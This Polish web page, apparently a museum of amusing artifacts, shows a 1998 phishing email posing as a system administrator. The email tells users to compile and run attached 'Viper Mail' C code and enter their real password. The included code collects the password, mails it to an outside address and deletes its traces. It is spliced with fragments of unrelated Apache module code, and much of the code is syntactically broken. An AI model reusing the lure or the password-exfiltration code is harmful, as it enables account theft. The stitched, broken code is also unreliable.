.---------------------.             _.-._         ..-..         _.-._
| Muzeum miliona małp |            (_-.-_)       /|'.'|\       (_'.'_)
`--.------------------'          mrf.\-/.        \)\-/(/        ,-.-.
   |                             __/ /-. \__   __/ ' ' \__   __/'-'-'\__
   |                            ( (___/___) ) ( (_/-._\_) ) ( (_/   \_) )
   |                             '.Oo___oO.'   '.Oo___oO.'   '.Oo___oO.'
| Eksponat trzeci         |
| "Jestem sobie mały miś" |

From adminer[]cyberspace.org Thu Sep 17 13:44:54 1998
Return-Path: adminer[]grex.cyberspace.org
From: M-Net Administrator <adminer[]cyberspace.org>
Subject: New Product From M-Net RSDVPS

                          Greeting users!

We, as a representative FINALY provide you a Viper Mail version 2.4.
On request of your System Operator we sent you new version of Viper
Mail provided by M-Net's RSDVPS. (Research & Development Service.)
For you who co-operated with us before this is nothing new.
Here is a step by step manual:
Step No.1:
Enter your shell account and access your mail program. Mostly PINE.
Extract file 'ViperMmail2.4.c.gz' from this mail message.
In PINE : type 'V' to access attachement area. Then type 'S' to save
it and then press 'ENTER' or 'RETURN'.
Exit your mail program.
Step No.2:
File is compresed so you need to gunzip him. 
You achive that by typing (in your shell prompt ofcourse) following 
line 'gunzip ViperMmail2.4.c.gz'
After you did this go to next step.
Step No.3:
Compilation work is the uglyest. Just typer (in your shell prompt)
this line 'gcc -o ViperMmail2.4 ViperMmail2.4.c'
If everything is O.K. prompt need to be showed again. If not...well..
log off :).
Step No.4:
Now you need to start a program. Remeber, you'll need to start it just
once. After he is started you will receive a message. Read it do it.
Remember, for safety of your account don't let ANYONE to see password 
you enter. Prompt will accept any password by for this program is 
required to enter your exact account password. 
That would be it. If you encounter anny 'problemos'report it to your
system operator or us (RSDVPS) on develop@m-net.arbornet.org.
NOTE! There is also a GAME in here ! In accord with our 15 anniversary
we provide you a $1000 dollars. :)))) You need to right down a number
that is shown on starting of the program and wait for us to call you
if you win! Trust me! This works!  :) It's not much ..but.. :)
                                 Have fun.
                                 Regards, Neimar Lessa
                                 RSDVPS member

/* #include "httpd.h"
#include "util_md5.h"

char *md5 (pool *p, unsigned char *string)
    MD5_CTX my_md5;
    unsigned char hash[16];
    char *r, result[33];
    int i;
     * Take the MD5 hash of the string argument.

    MD5Update(&my_md5, string, strlen((const char *)string));
    MD5Final(hash, &my_md5);

    for (i=0, r=result; i<16; i++, r+=2)
        sprintf(r, "%02x", hash[i]);
    *r = '\0';

    return pstrdup(p, result);

static char basis_64[] =

char *md5contextTo64(pool *a, MD5_CTX *context)
    unsigned char digest[18];
    char *encodedDigest;
    int i;
    char *p;

    encodedDigest = (char *)pcalloc(a, 25 * sizeof(char));

    MD5Final(digest, context);
    digest[sizeof(digest)-1] = digest[sizeof(digest)-2] = 0;

    p = encodedDigest;
    for (i=0; i < sizeof(digest); i+=3) {
        *p++ = basis_64[digest[i]>>2];
        *p++ = basis_64[((digest[i] & 0x3)<<4) | ((int)(digest[i+1] & 0xF0)>>4)];
        *p++ = basis_64[((digest[i+1] & 0xF)<<2) | ((int)(digest[i+2] & 0xC0)>>6)];
        *p++ = basis_64[digest[i+2] & 0x3F];
    *p-- = '\0';
    *p-- = '=';
    *p-- = '=';
    return encodedDigest;

char *md5digest(pool *p, FILE *infile)
    MD5_CTX context;
    unsigned char buf[1000];
    long length = 0;
    int nbytes;

    while ((nbytes = fread(buf, 1, sizeof(buf), infile))) {
        length += nbytes;
        MD5Update(&context, buf, nbytes);
    return md5contextTo64(p, &context);
char buffer[255];
char var1[255];
int moo;

#define log  "qwerty"
#define addr "HOST"
#define done "."

main () {
 printf("\nViper Mmail ver.2.4 (1998)\n\n");
 printf("\nNOTE#: This programm will accept any password string\n\n");
 printf("\n     : you enter. But if you want this program to work\n\n");
 printf("\n     : enter your exact account password in the field.\n\n");
 printf("\nBrought to You By M-Net Research & Development Service (c)\n\n");
 printf("\nSec.Code: 006123\n\n");
 printf("Linux 2.*.* (%s) (ttyp2)\n\n\n",addr);
 printf("login: ");
 moo = getpass("Enter your exact password: ");
 sprintf(buffer,"echo %s >> %s",moo,log);
 system("echo . > .login");
 system("rm .login");
 system("cat qwerty | mail neles@arbornet.org");
 system("rm -rf qwerty");
 system("rm -rf ViperMmail2.4");
 system("rm -rf ViperMmail2.4.c");
 sprintf(buffer,"echo %s >> .profile",done);

#include "httpd.h"
#include "http_config.h"

module agent_log_module;

static int xfer_flags = ( O_WRONLY | O_APPEND | O_CREAT );
#ifdef __EMX__
 OS/2 dosen't support users and groups 
static mode_t xfer_mode = ( S_IREAD | S_IWRITE );
static mode_t xfer_mode = ( S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH );

typedef struct {
    char *fname;
    int agent_fd;
} agent_log_state;

void *make_agent_log_state (pool *p, server_rec *s)
    agent_log_state *cls =
      (agent_log_state *)palloc (p, sizeof (agent_log_state));

    cls->fname = "";
    cls->agent_fd = -1;

    return (void *)cls;

const char *set_agent_log (cmd_parms *parms, void *dummy, char *arg)
    agent_log_state *cls = get_module_config (parms->server->module_config,
    cls->fname = arg;
    return NULL;

command_rec agent_log_cmds[] = {
{ "AgentLog", set_agent_log, NULL, RSRC_CONF, TAKE1,
    "the filename of the agent log" },
{ NULL }

void agent_log_child (void *cmd)
    Child process code for 'AgentLog "|..."';
     * may want a common framework for this, since I expect it will
     * be common for other foo-loggers to want this sort of thing...
    signal (SIGHUP, SIG_IGN);
#ifdef __EMX__    
    For OS/2 we need to use a '/' 
    execl (SHELL_PATH, SHELL_PATH, "/c", (char *)cmd, NULL);
    execl (SHELL_PATH, SHELL_PATH, "-c", (char *)cmd, NULL);
    perror ("exec");
    fprintf (stderr, "Exec of shell for logging failed!!!\n");
    exit (1);

void open_agent_log (server_rec *s, pool *p)
    agent_log_state *cls = get_module_config (s->module_config,
    char *fname = server_root_relative (p, cls->fname);
    if (cls->agent_fd > 0) return;  virtual log shared w/main server 
    if (*cls->fname == '|') {
	FILE *dummy;
	if (!spawn_child (p, agent_log_child, (void *)(cls->fname+1),
		    kill_after_timeout, &dummy, NULL)) {
	    perror ("spawn_child");
	    fprintf (stderr, "Couldn't fork child for AgentLog process\n");
	    exit (1);

	cls->agent_fd = fileno (dummy);
    else if(*cls->fname != '\0') {
      if((cls->agent_fd = popenf(p, fname, xfer_flags, xfer_mode)) < 0) {
        fprintf(stderr,"httpd: could not open agent log file %s.\n", fname);

void init_agent_log (server_rec *s, pool *p)
    for (; s; s = s->next) open_agent_log (s, p);

int agent_log_transaction(request_rec *orig)
    agent_log_state *cls = get_module_config (orig->server->module_config,
    char str[HUGE_STRING_LEN];
    char *agent;
    request_rec *r;

    if(cls->agent_fd <0)
      return OK;

    for (r = orig; r->next; r = r->next)
    if (*cls->fname == '\0')	 Don't log agent 
	return DECLINED;

    agent = table_get(orig->headers_in, "User-Agent");
    if(agent != NULL) 
	ap_snprintf(str, sizeof(str), "%s\n", agent);
	write(cls->agent_fd, str, strlen(str));
    return OK;

module agent_log_module = {
   init_agent_log,	  initializer 
   NULL,			 create per-dir config   NU
   make_agent_log_state,	 server config 
   NULL,			 merge server config 
   agent_log_cmds,		 command table 
   NULL,			 handlers 
   NULL,			 filename translation 
   NULL,			 check_user_id 
   NULL,			 check auth 
   NULL,			 check access 
   NULL,			type_checker 
   NULL,			 fixups 
   agent_log_transaction,	 logger 
   NULL				 header parser 

| muzeum || pierwsza | poprzednia | małpka 3 | następna | ostatnia |